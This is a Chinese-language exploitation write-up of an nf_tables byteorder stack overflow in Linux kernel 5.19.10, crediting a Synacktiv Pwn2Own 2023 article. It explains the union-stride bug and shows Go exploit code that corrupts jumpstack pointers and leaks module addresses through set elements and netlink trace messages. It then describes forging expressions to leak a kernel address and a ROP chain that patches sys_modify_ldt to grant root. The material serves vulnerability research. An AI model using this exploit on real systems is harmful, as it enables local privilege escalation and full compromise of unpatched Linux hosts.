简介

阅读本篇文章前,读者需要了解nf_tables中的虚拟机构成和执行过程。

漏洞存在于nf_tables模块的byteorder表达式执行过程,可导致栈溢出。

内核版本5.19.10、编译选项选中nf_tables相关选项。不要开启KASAN,会影响栈的布局。

内核启动后先insmod安装libcrc32c.ko再安装nf_tables.ko。

漏洞分析

下面是nft_byteorder_eval代码。这个函数实现了端序的转换。

首先可以看到s和d指针指向一个union,这个union的实际大小由u32而非u16决定。

void nft_byteorder_eval(const struct nft_expr *expr,
            struct nft_regs *regs,
            const struct nft_pktinfo *pkt)
{
    const struct nft_byteorder *priv = nft_expr_priv(expr);
    u32 *src = &regs->data[priv->sreg];
    u32 *dst = &regs->data[priv->dreg];
    union { u32 u32; u16 u16; } *s, *d;
    unsigned int i;

在下面case2的情况中,代码会迭代访问s,长度由priv->len / 2决定。

假如传入了8个字节,priv->len/2等于4,那么i最大为3,s指向4字节的union,s[3]指向12字节偏移处。这里开发者忽视了union的存在,以为访问u16就是两个字节偏移。实际上每次迭代,地址偏移都会增加4字节,而不是2字节。


    s = (void *)src;
    d = (void *)dst;

    switch (priv->size) {
    //...
    case 2:
        switch (priv->op) {
        case NFT_BYTEORDER_NTOH:
            for (i = 0; i < priv->len / 2; i++)
                d[i].u16 = ntohs((__force __be16)s[i].u16);
            break;
        case NFT_BYTEORDER_HTON:
            for (i = 0; i < priv->len / 2; i++)
                d[i].u16 = (__force __u16)htons(s[i].u16);
            break;
        }
        break;
    }
}

漏洞利用

漏洞效果

由上面分析可以知道,可以对s和d指针指向的内存进行越界读写。

s和d指向的内存指向regs的内部寄存器。

u32 *src = &regs->data[priv->sreg];
u32 *dst = &regs->data[priv->dreg];

regs指针是nft_byteorder_eval的参数,让我们追溯一下regs的来源

expr_call_ops_eval调用nft_byteorder_eval

static void expr_call_ops_eval(const struct nft_expr *expr,
                   struct nft_regs *regs,
                   struct nft_pktinfo *pkt)
{
#ifdef CONFIG_RETPOLINE
    unsigned long e = (unsigned long)expr->ops->eval;
#define X(e, fun) \
    do { if ((e) == (unsigned long)(fun)) \
        return fun(expr, regs, pkt); } while (0)
    //...
    X(e, nft_byteorder_eval);
    X(e, nft_dynset_eval);
    X(e, nft_rt_get_eval);
    X(e, nft_bitwise_eval);
#undef  X
#endif /* CONFIG_RETPOLINE */
    expr->ops->eval(expr, regs, pkt);
}

最终可以知道其来自nft_do_chain函数的regs局部变量

unsigned int
nft_do_chain(struct nft_pktinfo *pkt, void *priv)
{
    const struct nft_chain *chain = priv, *basechain = chain;
    const struct nft_rule_dp *rule, *last_rule;
    const struct net *net = nft_net(pkt);
    const struct nft_expr *expr, *last;
    struct nft_regs regs = {};
    unsigned int stackptr = 0;
    struct nft_jumpstack jumpstack[NFT_JUMP_STACK_SIZE];
    bool genbit = READ_ONCE(net->nft.gencursor);
    struct nft_rule_blob *blob;
    struct nft_traceinfo info;
    //...

那么我们可以知道这个漏洞越界效果:越界读写regs及其更高地址的内容。

为了能够越界得够多,我们可以看看priv->len、priv->sreg能设置成多少。

这些检测都在nft_byteorder_init中实现,见下面代码注释

static int nft_byteorder_init(const struct nft_ctx *ctx,
                  const struct nft_expr *expr,
                  const struct nlattr * const tb[])
{
    struct nft_byteorder *priv = nft_expr_priv(expr);
    u32 size, len;
    int err;

    if (tb[NFTA_BYTEORDER_SREG] == NULL ||
        tb[NFTA_BYTEORDER_DREG] == NULL ||
        tb[NFTA_BYTEORDER_LEN] == NULL ||
        tb[NFTA_BYTEORDER_SIZE] == NULL ||
        tb[NFTA_BYTEORDER_OP] == NULL)
        return -EINVAL;
    // op在NFT_BYTEORDER_NTOH或者NFT_BYTEORDER_HTON中任选一个即可
    priv->op = ntohl(nla_get_be32(tb[NFTA_BYTEORDER_OP]));
    switch (priv->op) {
    case NFT_BYTEORDER_NTOH:
    case NFT_BYTEORDER_HTON:
        break;
    default:
        return -EINVAL;
    }
    //size小于等于255
    err = nft_parse_u32_check(tb[NFTA_BYTEORDER_SIZE], U8_MAX, &size);
    if (err < 0)
        return err;

    priv->size = size;
    //size 我们要选择2
    switch (priv->size) {
    case 2:
    case 4:
    case 8:
        break;
    default:
        return -EINVAL;
    }
    //len小于等于255
    err = nft_parse_u32_check(tb[NFTA_BYTEORDER_LEN], U8_MAX, &len);
    if (err < 0)
        return err;

    priv->len = len;
    //对sreg进行检查
    err = nft_parse_register_load(tb[NFTA_BYTEORDER_SREG], &priv->sreg,
                      priv->len);
    if (err < 0)
        return err;

    return nft_parse_register_store(ctx, tb[NFTA_BYTEORDER_DREG],
                    &priv->dreg, NULL, NFT_DATA_VALUE,
                    priv->len);
}

下面接着看这两个函数nft_parse_register_load、nft_parse_register_store如何检查

int nft_parse_register_load(const struct nlattr *attr, u8 *sreg, u32 len)
{
    u32 reg;
    int err;

    err = nft_parse_register(attr, &reg);[1]
    if (err < 0)
        return err;

    err = nft_validate_register_load(reg, len);[2]
    if (err < 0)
        return err;

    *sreg = reg;
    return 0;
}
int nft_parse_register_store(const struct nft_ctx *ctx,
                 const struct nlattr *attr, u8 *dreg,
                 const struct nft_data *data,
                 enum nft_data_types type, unsigned int len)
{
    int err;
    u32 reg;

    err = nft_parse_register(attr, &reg);[1]
    if (err < 0)
        return err;

    err = nft_validate_register_store(ctx, reg, data, type, len);[3]
    if (err < 0)
        return err;

    *dreg = reg;
    return 0;
}

我们进行看[1]nft_parse_register、[2]nft_validate_register_load、[3]nft_validate_register_store

[1]从下面代码中可以知道我们传给内核的寄存器编号范围是0~4和8~23,之后还要进行转换。

如果是0~4,则再乘上2。如果是8~23,则减少4。

static int nft_parse_register(const struct nlattr *attr, u32 *preg)
{
    unsigned int reg;

    reg = ntohl(nla_get_be32(attr));
    switch (reg) {
    case NFT_REG_VERDICT...NFT_REG_4://0~4
        *preg = reg * NFT_REG_SIZE / NFT_REG32_SIZE;
        break;
    case NFT_REG32_00...NFT_REG32_15://8~23
        *preg = reg + NFT_REG_SIZE / NFT_REG32_SIZE - NFT_REG32_00;
        break;
    default:
        return -ERANGE;
    }

    return 0;
}

比如通过下面代码配置表达式

&expr.Byteorder{
    SourceRegister: 8,
    DestRegister:   18,
    Op:             expr.ByteorderHton,
    Len:            22,
    Size:           2,
},

因为8在范围8~23,最终表达式的source register编号是4。

[2]reg大于等于4,reg * 4 + len小于等于80(此处的reg是转换后的reg)

static int nft_validate_register_load(enum nft_registers reg, unsigned int len)
{
    if (reg < NFT_REG_1 * NFT_REG_SIZE / NFT_REG32_SIZE)//reg大于等于4
        return -EINVAL;
    if (len == 0)
        return -EINVAL;
    // reg*4 + len <= 80
    if (reg * NFT_REG32_SIZE + len > sizeof_field(struct nft_regs, data))
        return -ERANGE;

    return 0;
}

[3]reg大于等于4,reg * 4 + len小于等于80

static int nft_validate_register_store(const struct nft_ctx *ctx,
                       enum nft_registers reg,
                       const struct nft_data *data,
                       enum nft_data_types type,
                       unsigned int len)
{
    int err;

    switch (reg) {
    //...
    default:
        if (reg < NFT_REG_1 * NFT_REG_SIZE / NFT_REG32_SIZE)
            return -EINVAL;
        if (len == 0)
            return -EINVAL;
        if (reg * NFT_REG32_SIZE + len >
            sizeof_field(struct nft_regs, data))
            return -ERANGE;

        if (data != NULL && type != NFT_DATA_VALUE)
            return -EINVAL;
        return 0;
    }
}

可见nft_validate_register_store和nft_validate_register_load的限制是一样的。

通过静态或者动态调试可以知道,我们越界读写的范围足够到达nft_do_chain函数中与regs相邻的jumpstack第一个元素

下面可以看看jumpstack是做什么的

struct nft_jumpstack jumpstack[NFT_JUMP_STACK_SIZE];

因为虚拟机在下面代码遍历chain、rule时会发生跳转(类似汇编程序中的jump)。

unsigned int
nft_do_chain(struct nft_pktinfo *pkt, void *priv)
{
    //...
next_rule:
    regs.verdict.code = NFT_CONTINUE;
    for (; rule < last_rule; rule = nft_rule_next(rule)) {
        nft_rule_dp_for_each_expr(expr, last, rule) {
            //...
            if (regs.verdict.code != NFT_CONTINUE)
                break;//发生跳转判断,
        }

        switch (regs.verdict.code) {
        case NFT_BREAK://如果是NFT_BREAK就不会跳出外层
            regs.verdict.code = NFT_CONTINUE;
            continue;
        case NFT_CONTINUE:
            nft_trace_packet(&info, chain, rule,
                     NFT_TRACETYPE_RULE);
            continue;
        }
        break;//如果是NFT_RETURN、NFT_JUMP等就会跳出外层循环
    }

jumpstack是用来存放跳转前chain和rule的(类似函数调用栈保存返回地址)。

switch (regs.verdict.code) {
case NFT_JUMP:
    if (WARN_ON_ONCE(stackptr >= NFT_JUMP_STACK_SIZE))
        return NF_DROP;
    jumpstack[stackptr].chain = chain;
    jumpstack[stackptr].rule = nft_rule_next(rule);
    jumpstack[stackptr].last_rule = last_rule;
    stackptr++;
    fallthrough;

下面是struct nft_jumpstack定义

struct nft_jumpstack {
    const struct nft_chain *chain;
    const struct nft_rule_dp *rule;
    const struct nft_rule_dp *last_rule;
};

NFT_JUMP可以触发虚拟机入栈的操作

switch (regs.verdict.code) {
case NFT_JUMP:
    if (WARN_ON_ONCE(stackptr >= NFT_JUMP_STACK_SIZE))
        return NF_DROP;
    jumpstack[stackptr].chain = chain;
    jumpstack[stackptr].rule = nft_rule_next(rule);
    jumpstack[stackptr].last_rule = last_rule;
    stackptr++;
    fallthrough;

如果在入栈后越界读写,就能泄漏篡改入栈的chain、rule、last_rule

此效果才是我们本次着重注意的漏洞效果

泄漏模块地址

trace传递消息

注意nft_do_chain函数的遍历rule过程中调用了nft_trace_packet,这个nft_trace_packet函数是我们泄漏信息的重要函数。

同时注意它的第四个参数是NFT_TRACETYPE_RULE

for (; rule < last_rule; rule = nft_rule_next(rule)) {
    nft_rule_dp_for_each_expr(expr, last, rule) {
        //...
    }

    switch (regs.verdict.code) {
    //...
    case NFT_CONTINUE:
        nft_trace_packet(&info, chain, rule,
                 NFT_TRACETYPE_RULE);
        continue;
    }
    break;
}

让我们看看源代码

static inline void nft_trace_packet(struct nft_traceinfo *info,
                    const struct nft_chain *chain,
                    const struct nft_rule_dp *rule,
                    enum nft_trace_types type)
{
    if (static_branch_unlikely(&nft_trace_enabled)) {
        info->rule = rule;
        __nft_trace_packet(info, chain, type);
    }
}

static noinline void __nft_trace_packet(struct nft_traceinfo *info,
                    const struct nft_chain *chain,
                    enum nft_trace_types type)
{
    const struct nft_pktinfo *pkt = info->pkt;

    if (!info->trace || !pkt->skb->nf_trace)
        return;

    info->chain = chain;
    info->type = type;//type为NFT_TRACETYPE_RULE

    nft_trace_notify(info);
}

通过nft_trace_notify源代码可以知道,它的作用是把一些信息通过netlink发送给用户程序。我们可以通过这个功能来泄漏地址信息。

void nft_trace_notify(struct nft_traceinfo *info)
{
    const struct nft_pktinfo *pkt = info->pkt;
    struct nlmsghdr *nlh;
    struct sk_buff *skb;
    unsigned int size;
    u16 event;

    if (!nfnetlink_has_listeners(nft_net(pkt), NFNLGRP_NFTRACE))[1]
        return;
    
    size = nlmsg_total_size(sizeof(struct nfgenmsg)) +
        nla_total_size(strlen(info->chain->table->name)) +
        nla_total_size(strlen(info->chain->name)) +
        nla_total_size_64bit(sizeof(__be64)) +	/* rule handle */[2]
        nla_total_size(sizeof(__be32)) +	/* trace type */
        nla_total_size(0) +			/* VERDICT, nested */
            nla_total_size(sizeof(u32)) +	/* verdict code */
        nla_total_size(sizeof(u32)) +		/* id */
        nla_total_size(NFT_TRACETYPE_LL_HSIZE) +
        nla_total_size(NFT_TRACETYPE_NETWORK_HSIZE) +
        nla_total_size(NFT_TRACETYPE_TRANSPORT_HSIZE) +
        nla_total_size(sizeof(u32)) +		/* iif */
        nla_total_size(sizeof(__be16)) +	/* iiftype */
        nla_total_size(sizeof(u32)) +		/* oif */
        nla_total_size(sizeof(__be16)) +	/* oiftype */
        nla_total_size(sizeof(u32)) +		/* mark */
        nla_total_size(sizeof(u32)) +		/* nfproto */
        nla_total_size(sizeof(u32));		/* policy */
    //...
    if (nf_trace_fill_rule_info(skb, info))[3]
        goto nla_put_failure;
    switch (info->type) {
    //...
    case NFT_TRACETYPE_RULE:
        if (nft_verdict_dump(skb, NFTA_TRACE_VERDICT, info->verdict))
            goto nla_put_failure;
        break;
    //...
    }
    //...
    nlmsg_end(skb, nlh);
    nfnetlink_send(skb, nft_net(pkt), 0, NFNLGRP_NFTRACE, 0, GFP_ATOMIC);
    return;
    //...
}

[1]只有加入netlink的NFNLGRP_NFTRACE组后才能接受到消息

[2]可以把泄漏地址放到handle,空间比较大

[3]具体代码如下,它会把info->rule->handle放入消息中

static int nf_trace_fill_rule_info(struct sk_buff *nlskb,
                   const struct nft_traceinfo *info)
{
    if (!info->rule || info->rule->is_last)
        return 0;

    /* a continue verdict with ->type == RETURN means that this is
     * an implicit return (end of chain reached).
     *
     * Since no rule matched, the ->rule pointer is invalid.
     */
    if (info->type == NFT_TRACETYPE_RETURN &&
        info->verdict->code == NFT_CONTINUE)
        return 0;

    return nla_put_be64(nlskb, NFTA_TRACE_RULE_HANDLE,
                cpu_to_be64(info->rule->handle),
                NFTA_TRACE_PAD);
}

rule内存布局

既然我们篡改了rule指针的指向地址,那么还是先需要了解rule指向的内存布局

struct nft_rule_dp {
    u64				is_last:1,
                    dlen:12,
                    handle:42;	/* for tracing */
    unsigned char			data[]
        __attribute__((aligned(__alignof__(struct nft_expr))));
};

下面宏告诉我们data地址即是expr地址,那么expr是储存在data中的

#define nft_rule_expr_first(rule)	(struct nft_expr *)&rule->data[0]

一个expr接着下一个expr

#define nft_rule_expr_next(expr)	((void *)expr) + expr->ops->size

通过dlen获得last expr

#define nft_rule_expr_last(rule)	(struct nft_expr *)&rule->data[rule->dlen]

下面是expr的for循环宏,如果地址等于last expr就推出循环。注意这个last expr是下一个rule的expr。

#define nft_rule_dp_for_each_expr(expr, last, rule) \
        for ((expr) = nft_rule_expr_first(rule), (last) = nft_rule_expr_last(rule); \
             (expr) != (last); \
             (expr) = nft_rule_expr_next(expr))

获取下一个rule的宏

#define nft_rule_next(rule)		(void *)rule + sizeof(*rule) + rule->dlen

expr的ops指向函数表

struct nft_expr {
    const struct nft_expr_ops	*ops;
    unsigned char			data[]
        __attribute__((aligned(__alignof__(u64))));
};

如果篡改rule指针使得handle对应ops的低位(这里省略了rule的内存布局分析),那么就能泄漏ops的大部分地址,加上高位都是1的前提,我们就知道了ops的地址。ops是全局变量,所以可以推出模块地址。

struct nft_rule {
    struct list_head		list;
    u64				handle:42,
                    genmask:2,
                    dlen:12,
                    udata:1;
    unsigned char			data[]
        __attribute__((aligned(__alignof__(struct nft_expr))));
};

泄漏入栈的指针

首先因为表达式设置是确定的,所以偏移是确定的。我们要让rule指向靠近ops的位置,只需要泄漏chain、rule、last_rule指针,把他们加上一个偏移就能得到目标地址,再越界写来篡改。

可以通过NFT_MSG_GETSETELEM消息来获得set中的element。

/**
 * enum nf_tables_msg_types - nf_tables netlink message types
 ...
 * @NFT_MSG_GETSETELEM: get a set element (enum nft_set_elem_attributes)

越界读是把到的16bits数据保存到寄存器及更高地址位置,而寄存器可以把它的值放入set中。

而set的element(包括键和值)我们可以通过NFT_MSG_GETSETELEM消息来获得。这样我们就能泄漏入栈的rule指针了。

exp编写

我们用go来编写,下面是要用到的库

import (
    "bytes"
    "encoding/binary"
    "fmt"
    "github.com/google/nftables"
    "github.com/google/nftables/expr"
    "github.com/mdlayher/netlink"
    "github.com/vishvananda/netns"
    "golang.org/x/sys/unix"
    "net"
    "os/exec"
    "runtime"
    "unsafe"
)

先创建conn对象,用于向nftables添加或删除table、chain等结构。

conn, err := nftables.New(nftables.WithNetNSFd(int(ns)))
if err != nil {
    panic(err)
}
conn.FlushRuleset()

创建要jump到的table等,通过set可以泄漏少量字节,用于泄漏rule指针低字节地址

my_table := conn.AddTable(&nftables.Table{
    Name:   "my_table",
    Family: nftables.TableFamilyIPv4,
})

my_set := nftables.Set{
    Anonymous: false,
    Constant:  false,
    Name:      "my_set",
    ID:        1,
    IsMap:     true,
    Table:     my_table,
    KeyType:   nftables.TypeInteger,
    DataType:  nftables.TypeInteger,
}

err := conn.AddSet(&my_set, nil)
if err != nil {
    panic(err)
}

my_chain := conn.AddChain(&nftables.Chain{
    Name:  "my_chain",
    Table: my_table,
})

添加可以越界读的rule,最后一个表达式用于开启NFT_META_NFTRACE,这样才能获得Dynset的element。

conn.AddRule(&nftables.Rule{
    Table: my_table,
    Chain: my_chain,
    Exprs: []expr.Any{
        &expr.Byteorder{
            SourceRegister: 18,
            DestRegister:   8,
            Op:             expr.ByteorderHton,
            Len:            24,
            Size:           2,
        },
        &expr.Immediate{
            Register: 8,
            Data:     []byte{0x00, 0x00, 0x00, 0x00},
        },
        &expr.Dynset{
            SrcRegKey:  8,
            SrcRegData: 14,
            SetName:    "my_set",
            Operation:  uint32(unix.NFT_DYNSET_OP_ADD),
        },
        &expr.Immediate{
            Register: 8,
            Data:     []byte{0x01, 0x00, 0x00, 0x00},
        },
        &expr.Dynset{
            SrcRegKey:  8,
            SrcRegData: 15,
            SetName:    "my_set",
            Operation:  uint32(unix.NFT_DYNSET_OP_ADD),
        },
        &expr.Immediate{
            Register: 8,
            Data:     []byte{0x02, 0x00, 0x00, 0x00},
        },
        &expr.Dynset{
            SrcRegKey:  8,
            SrcRegData: 16,
            SetName:    "my_set",
            Operation:  uint32(unix.NFT_DYNSET_OP_ADD),
        },
        &expr.Immediate{
            Register: 8,
            Data:     []byte{0x03, 0x00, 0x00, 0x00},
        },
        &expr.Dynset{
            SrcRegKey:  8,
            SrcRegData: 17,
            SetName:    "my_set",
            Operation:  uint32(unix.NFT_DYNSET_OP_ADD),
        },
        &expr.Immediate{
            Register: 8,
            Data:     []byte{0x04, 0x00, 0x00, 0x00},
        },
        &expr.Dynset{
            SrcRegKey:  8,
            SrcRegData: 18,
            SetName:    "my_set",
            Operation:  uint32(unix.NFT_DYNSET_OP_ADD),
        },
        &expr.Immediate{
            Register: 8,
            Data:     []byte{0x05, 0x00, 0x00, 0x00},
        },
        &expr.Dynset{
            SrcRegKey:  8,
            SrcRegData: 19,
            SetName:    "my_set",
            Operation:  uint32(unix.NFT_DYNSET_OP_ADD),
        },
        &expr.Meta{
            Key:            unix.NFT_META_NFTRACE,
            SourceRegister: true,
            Register:       8,
        },
    },
})

发送所有缓存命令

conn.Flush()

添加jump chain,用于跳到上面的chain,并入栈当前rule等指针。

a := nftables.ChainPolicyAccept
    jump_chain := conn.AddChain(&nftables.Chain{
        Name:     "first_chain",
        Table:    my_table,
        Type:     nftables.ChainTypeFilter,
        Hooknum:  nftables.ChainHookInput,
        Priority: nftables.ChainPriorityFilter,
        Policy:   &a,
    })

    conn.AddRule(&nftables.Rule{
        Table: my_table,
        Chain: jump_chain,
        Exprs: []expr.Any{
            &expr.Immediate{
                Register: 8,
                Data:     []byte{0x01, 0x01, 0x01, 0x01},
            },
            &expr.Verdict{
                Kind:  expr.VerdictJump,
                Chain: "my_chain",
            },
            &expr.Verdict{
                Kind:  expr.VerdictReturn,
                Chain: "my_chain",
            },
        },
    })
    conn.Flush()

发一个udp报文,其会进入jump_chain的逻辑,然后代码会跳到my_chain的逻辑

    send_packet()

func send_packet() {
    tx, err := net.DialUDP("udp", nil, &net.UDPAddr{
        IP:   net.IPv4(127, 0, 0, 1),
        Port: 9999,
    })

    if err != nil {
        panic(err)
    }

    tx.Write([]byte{0x66, 0x66, 0x66, 0x66})
    tx.Close()
}

my_chain的逻辑中会越界读,把chain、rule、last_rule部分指针字节保存到SrcRegData: 14~19位置

SrcRegData: 14~19又作为值储存到Dynset中(键名由SrcRegKey: 8指定)

读取set,计算好地址(具体偏移可以通过动态调试获得),再越界写入

elems, err := conn.GetSetElements(&my_set)

    if err != nil {
        panic(err)
    }

    offsets := []uint16{0, 0, 0, 0, 0, 0}
    for _, elem := range elems {
        key := binary.LittleEndian.Uint32(elem.Key)
        val := binary.BigEndian.Uint16(elem.Val)
        offsets[key] = val
    }
    for i, v := range offsets {
        fmt.Printf("key:0x%x, val:0x%x\n", i, v)
    }

    chain_low_u16 := offsets[0]
    chain_high_u16 := offsets[1]
    rule_low_u16 := offsets[2]
    rule_hish_u16 := offsets[3]
    last_rule_low_u16 := offsets[4]
    fmt.Printf("chain_low_u16:0x%x rule_low_u16:0x%x last_rule_low_u16:0x%x\n",
        chain_low_u16, rule_low_u16, last_rule_low_u16)

    new_chain_low_u16 := chain_low_u16
    new_rule_low_u16 := rule_low_u16 - 0x40 - 2
    new_last_rule_low_u16 := new_rule_low_u16 + 8

    new_chain_low_u16_buff := make([]byte, 2)
    binary.BigEndian.PutUint16(new_chain_low_u16_buff, new_chain_low_u16)
    chain_high_u16_buff := make([]byte, 2)
    binary.BigEndian.PutUint16(chain_high_u16_buff, chain_high_u16)
    new_rule_low_u16_buff := make([]byte, 2)
    binary.BigEndian.PutUint16(new_rule_low_u16_buff, new_rule_low_u16)
    rule_high_u16_buff := make([]byte, 2)
    binary.BigEndian.PutUint16(rule_high_u16_buff, rule_hish_u16)
    new_last_rule_low_u16_buff := make([]byte, 2)
    binary.BigEndian.PutUint16(new_last_rule_low_u16_buff, new_last_rule_low_u16)
    new_last_rule_low_u16_buff2 := make([]byte, 2)
    binary.LittleEndian.PutUint16(new_last_rule_low_u16_buff2, new_last_rule_low_u16)

    conn.FlushChain(my_chain)
    conn.Flush()
    conn.AddRule(&nftables.Rule{
        Table: my_table,
        Chain: my_chain,
        Exprs: []expr.Any{
            &expr.Immediate{
                Register: 14,
                Data:     new_chain_low_u16_buff,
            },
            &expr.Immediate{
                Register: 15,
                Data:     chain_high_u16_buff,
            },
            &expr.Immediate{
                Register: 16,
                Data:     new_rule_low_u16_buff,
            },
            &expr.Immediate{
                Register: 17,
                Data:     rule_high_u16_buff,
            },
            &expr.Immediate{
                Register: 18,
                Data:     new_last_rule_low_u16_buff,
            },
            &expr.Immediate{
                Register: 8,
                Data:     new_last_rule_low_u16_buff2,
            },
            &expr.Byteorder{
                SourceRegister: 8,
                DestRegister:   18,
                Op:             expr.ByteorderHton,
                Len:            22,
                Size:           2,
            },
            &expr.Meta{
                Key:            unix.NFT_META_NFTRACE,
                SourceRegister: true,
                Register:       8,
            },
        },
    })

    fmt.Printf("overwrite chain rule last_rule\n")
    conn.Flush()
    send_packet()

泄漏handle,即泄漏ops地址,最后推出模块地址

traceconn, err := netlink.Dial(unix.NETLINK_NETFILTER, &netlink.Config{})
if err != nil {
    panic(err)
}
defer traceconn.Close()
err = traceconn.JoinGroup(unix.NFNLGRP_NFTRACE)
if err != nil {
    panic(err)
}
send_packet()
for {
    messages, err := traceconn.Receive()
    if err != nil {
        panic(err)
    }
    for _, m := range messages {
        ad, err := netlink.NewAttributeDecoder(m.Data[4:])
        if err != nil {
            panic(err)
        }
        ad.ByteOrder = binary.BigEndian
        for ad.Next() {
            if ad.Type() == unix.NFTA_TRACE_RULE_HANDLE {
                if ad.Uint64() > 0x3fe00000000 {
                    ops_value := (ad.Uint64() >> 3) | (0xffffffffc0000000)
                    fmt.Printf("ops: 0x%x\n", ops_value)
                    module_base_address = ops_value - 0x28000
                    fmt.Printf("nf_tables.ko .text address: 0x%x\n", module_base_address)
                    conn.FlushTable(my_table)
                    return module_base_address
                }
            }
        }
    }
}
return module_base_address

泄漏内核地址

观察到比jumpstack更高地址的位置处,有一个内核地址,如果能够泄漏这个地址就能推出内核基地址。

但是我们的越界读不够长,需要使用其他办法。

可以在nft_range_expr(可控空间大)中伪造一个byteorder。表达式初始化时才进行检查,所以不用担心伪造字段数值过大。

struct nft_range_expr {
    struct nft_data		data_from;//可控16字节
    struct nft_data		data_to;//16字节
    u8			sreg;
    u8			len;
    enum nft_range_ops	op:8;
};

data_from正好可以存放rule头部和nft_byteorder_ops(通过之前泄漏的模块基地址+偏移得到)

struct nft_rule_dp {
    u64				is_last:1,
                    dlen:12,
                    handle:42;	/* for tracing */
    unsigned char			data[]
        __attribute__((aligned(__alignof__(struct nft_expr))));
};

data_to存放伪造的nft_byteorder结构体

下面我们可以回顾nft_byteorder

struct nft_byteorder {
    u8			sreg;
    u8			dreg;
    enum nft_byteorder_ops	op:8;
    u8			len;
    u8			size;
};

我们要读8个字节,如果选择size为4

case 4:
        switch (priv->op) {
        case NFT_BYTEORDER_NTOH:
            for (i = 0; i < priv->len / 4; i++)
                d[i].u32 = ntohl((__force __be32)s[i].u32);
            break;
        case NFT_BYTEORDER_HTON:
            for (i = 0; i < priv->len / 4; i++)
                d[i].u32 = (__force __u32)htonl(s[i].u32);
            break;
        }
        break;

那么priv->len / 4=2,priv->len为8

dreg可以选择10

sreg可以通过调试来确定

op可以选择NFT_BYTEORDER_NTOH

为了让nft_do_chain的循环优雅地退出,还是再回顾一下nft_do_chain源代码

假如rule指针指向伪造的nft_byteorder,当nft_byteorder_eval执行完后,会回到循环头部

nft_rule_dp_for_each_expr(expr, last, rule)

再回顾这个循环头

#define nft_rule_dp_for_each_expr(expr, last, rule) \
        for ((expr) = nft_rule_expr_first(rule), (last) = nft_rule_expr_last(rule); \
             (expr) != (last); \
             (expr) = nft_rule_expr_next(expr))

因为是循环刚结束,所以先执行(expr) = nft_rule_expr_next(expr)

#define nft_rule_expr_next(expr)	((void *)expr) + expr->ops->size

因为这个size我们篡改不了,所以要在新expr的位置再伪造一个

作者选择了nft_meta

struct nft_meta {
    enum nft_meta_keys	key:8;
    u8			len;
    union {
        u8		dreg;
        u8		sreg;
    };
};

ops我们选择nft_meta_get_ops

static const struct nft_expr_ops nft_meta_get_ops = {
    .type		= &nft_meta_type,
    .size		= NFT_EXPR_SIZE(sizeof(struct nft_meta)),
    .eval		= nft_meta_get_eval,
    .init		= nft_meta_get_init,
    .dump		= nft_meta_get_dump,
    .reduce		= nft_meta_get_reduce,
    .validate	= nft_meta_get_validate,
    .offload	= nft_meta_get_offload,
};

data_to的高8字节存放nft_meta_get_ops

sreg、len、op分别正好可以存放key、len、dreg

u8			sreg; <------------>  enum nft_meta_keys	key:8;
u8			len; <------------>   u8			len;
enum nft_range_ops	op:8; <-----> union {
                                           u8		dreg;
                                   		u8		sreg;
                                   	};

byteorder的ops->size正好是0x10,正好可以让下一个expr指向range的尾部,下一个expr原本就应该是range的尾部。简直完美。

这样,内核地址就保存到了虚拟机的寄存器。接下来通过上面方法泄漏即可。

为了缩短篇幅,exp编写略。相信读者很容易就能模仿上面的exp来编写。

控制流劫持

伪造nft_payload表达式,把rop链写到nft_do_chain函数返回地址的位置

struct nft_payload {
    enum nft_payload_bases	base:8;
    u8			offset;
    u8			len;
    u8			dreg;
};

nft_payload_eval作用是获得我们发送的报文的一部分字节,并复制到一个地址。

void nft_payload_eval(const struct nft_expr *expr,
              struct nft_regs *regs,
              const struct nft_pktinfo *pkt)
{
    const struct nft_payload *priv = nft_expr_priv(expr);
    const struct sk_buff *skb = pkt->skb;
    u32 *dest = &regs->data[priv->dreg];[1]
    int offset;

    if (priv->len % NFT_REG32_SIZE)
        dest[priv->len / NFT_REG32_SIZE] = 0;

    switch (priv->base) {
    //...
    case NFT_PAYLOAD_TRANSPORT_HEADER:[2]
        if (!(pkt->flags & NFT_PKTINFO_L4PROTO) || pkt->fragoff)
            goto err;
        offset = nft_thoff(pkt);
        break;
    //...
    }
    offset += priv->offset;

    if (skb_copy_bits(skb, offset, dest, priv->len) < 0)[3]
        goto err;
    return;
err:
    regs->verdict.code = NFT_BREAK;
}

[1]这里因为priv->dreg是伪造的,所以dest可以控制到返回地址

[2]设置offset到传输层字节

[3]开始从报文的offset字节偏移处开始复制

我们把rop链字节放到报文合适位置再发送即可

接下来原文作者的rop链如下:

通过set_memory_rw来设置系统调用sys_modify_ldt代码可写

使用copy_from_user_priv来修改sys_modify_ldt代码(修改内容为commit_creds(prepare_kernel_creds(0))

最后调用do_task_dead结束进程

随后,其他进程调用sys_modify_ldt都相当于是调用commit_creds(prepare_kernel_creds(0))

参考链接

https://www.synacktiv.com/en/publications/old-bug-shallow-bug-exploiting-ubuntu-at-pwn2own-vancouver-2023